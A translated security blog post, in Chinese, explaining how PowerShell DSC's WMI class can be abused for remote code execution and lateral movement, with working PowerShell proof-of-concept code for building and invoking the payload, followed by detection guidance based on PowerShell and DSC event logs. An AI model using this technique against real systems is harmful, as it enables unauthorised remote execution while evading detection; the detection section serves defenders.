导语:PowerShell所需状态配置(DSC)允许用户直接使用WMI直接执行资源。使用DSC WMI类,攻击者可以通过滥用内置脚本资源来实现远程PowerShell代码执行。

利用DSC渗透内网的简要描述

PowerShell所需状态配置(DSC)允许用户直接使用WMI直接执行资源。使用DSC WMI类,攻击者可以通过滥用内置脚本资源来实现远程PowerShell代码执行。利用这个技巧进行内网渗透的好处如下:

1.PowerShell代码会在WMI服务二进制文件 – wmiprvse.exe的上下文中执行。从逃避入侵检测的角度(至少在发布此博客文章之前)来看,这种办法可以称为比调用Win32_Process的Create方法从wmiprvse.exe生成子进程然后执行命令行更为有益的一种渗透技巧。

2.有效载荷的每个组件都只通过WMI。

3.不需要配置DSC服务的配置(甚至不需要了解DSC相关的知识)。

利用DSC内网渗透时的技术要求

1.ResourceTest方法必须存在于root/Microsoft/Windows/DesiredStateConfiguration命名空间中的MSFT_DSCLocalConfigurationManagerWMI类中。注意:攻击者也可以选择调用ResourceGetResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,因此并非所有的主机都可以使用此技术。

2.默认情况下,你必须具有管理员凭据才能远程调用WMI方法。远程执行时,WMI通过DCOMWSMan安全设置(取决于所使用的传输方法)得到保护。在建立远程连接时,WMI本身通过特定于目标命名空间的安全描述符来保护,在本文中的示例是root/Microsoft/Windows/DesiredStateConfiguration

武器化概念验证

第一步是准备要执行的有效载荷。首先要在目标上执行的PowerShell代码需要以MOF格式进行格式化。下面是将在目标上执行的有效载荷示例:

$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
    ResourceID = "[Script]ScriptExample";
    GetScript = "\"$(Get-Date): I am being GET\"     | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
    TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
    SetScript = "\"$(Get-Date): I am being SET\"     | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
    SourceInfo = "::3::5::Script";
    ModuleName = "PsDesiredStateConfiguration";
    ModuleVersion = "1.0";
    ConfigurationName = "ScriptTest";
};

instance of OMI_ConfigurationDocument
{
    Version="2.0.0";
    MinimumCompatibleVersion = "1.0.0";
    CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
    Author="TestUser";
    GenerationDate="02/26/2018 07:09:21";
    GenerationHost="TestHost";
    Name="ScriptTest";
};
'@

实际上,唯一需要改变的是PowerShell有效载荷。在我们的示例中,我们将调用与上面的代码中的“TestScript”属性中的有效载荷相对应的方法ResourceTest。请注意,特殊字符需要转义!自动MOF生成和有效载荷转移绝对是可以自动化的。

下一步是将MOF转换为二进制形式,这是ResourceTest方法所需要的:

# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True

$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)

if ($ExecuteRemotely) {
    # Prepend the length of the payload
    [Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
    # If executing locally, you do not prepend the payload length
    [Byte[]] $MOFBytes = $NormalizedMOFBytes
}

在上面的示例中需要注意的是,如果要在本地测试有效载荷,则不要将有效载荷长度添加到字节数组中。现在你已经正确编码了有效载荷,剩下要做的就是在目标机器上执行它!

# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'

# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential

$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession

if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
    # You may now proceed with lateral movement

    $MethodArgs = @{
        ModuleName       = 'PSDesiredStateConfiguration'
        ResourceType     = 'MSFT_ScriptResource'
        resourceProperty = $MOFBytes
    }

    $Arguments = @{
        Namespace  = 'root/Microsoft/Windows/DesiredStateConfiguration'
        ClassName  = 'MSFT_DSCLocalConfigurationManager'
        MethodName = 'ResourceTest'
        Arguments  = $MethodArgs
        CimSession = $RemoteCIMSession
    }

    # Invoke the DSC script resource Test method
    # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0.
    Invoke-CimMethod @Arguments

} else {
    Write-Warning 'The DSC lateral movement method is not available on the remote system.'
}

在上面的示例中,请注意我首先验证了远程类和方法在执行之前是否存在。使用WMI tradecraft时,建议在执行之前首先验证目标类和方法是否存在。
所以上面的代码就是利用方式的全部。我故意这样做的目的是在术语或操作此功能方面有很多需要做的事情。在此示例中,“有效载荷结果”已写入到磁盘。如果你只想使用WMI来远程检索文件内容,则可以使用这篇文章提到的技术。此外,在上面的示例中,我使用了在PSv3中引入的CIM cmdlet。如果你需要v2兼容性,也可以将其武器化以使用旧的WMI cmdlet。

发现方法论

在我试图学习DSC的基础知识时,我偶然发现了这种技术。我发现这篇文章讨论了如何使用WMI直接调用DSC资源。当我发现这篇文章时,凭借我对WMI的了解,我的某个想法就立刻出现在我的脑海中。博客文章演示了调用内置文件资源,所以我只需要弄清楚如何调整调用方式并且能与脚本资源一起使用。

并且,我一直在寻找躲避WMI被查杀的方法!

端点检测

幸运的是,如果你可以提取系统事件日志,那么有很多机会可以检测到这种技术。
Microsoft-Windows-PowerShell/操作事件日志

事件ID:53504

“PowerShell命名管道IPC”事件将指示启动的PowerShell AppDomain的名称。当DSC执行脚本资源时,会自动捕获“DSCPsPluginWkr_AppDomain”事件。AppDomain,顾名思义,它是DSC执行所特有的。下面是一个示例事件:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.

事件ID:4104

这是指PowerShell v5脚本块日志记录。攻击者可以轻松逃避脚本块自动记录,但如果启用了全局脚本块日志记录,攻击者几乎无法逃避系统记录有效载荷。Scriptblock日志记录不仅会捕获已执行的有效载荷,还会捕获与执行内置脚本资源相关的帮助程序代码:
例如,下面是调用脚本资源时捕获的一些脚本块数据示例:

# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@

“Windows PowerShell”事件日志

活动ID:400

在经典的PowerShell日志中,事件ID 400指示了新的PowerShell主机进程启动。当DSC脚本资源执行时,它会生成一个可以轻松签名的唯一事件日志条目。下面是一个例子:
引擎状态从“无”更改为“可用”。

Details: 
NewEngineState=Available
PreviousEngineState=None

SequenceNumber=13

HostName=Default Host
HostVersion=5.1.17134.81
HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
HostApplication=C:\Windows\system32\wbem\wmiprvse.exe
EngineVersion=5.1.17134.81
RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=

PowerShell主机在wmiprvse.exe的上下文中启动(可以在HostApplication字段中看到),这可能是你的环境所特有的,尤其是在工作站上。
Microsoft-Windows-DSC /操作事件日志

事件ID:4102

此事件对应于将DSC资源发送到目标的时间。如果计算机在域内,这将提供执行DSC资源的用户SID和发起主机的上下文。下面是一个事件示例:

Job {893F64B5-ABBF-11E8-B005-D336977413FC} : Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

完整的利用方式

我将给你演示使用DSC进行内网渗透和使用WMI远程检索文件内容的视频。

点击查看视频

可以在此处找到演示视频中的代码。
玩的愉快!

源链接

Hacking more

...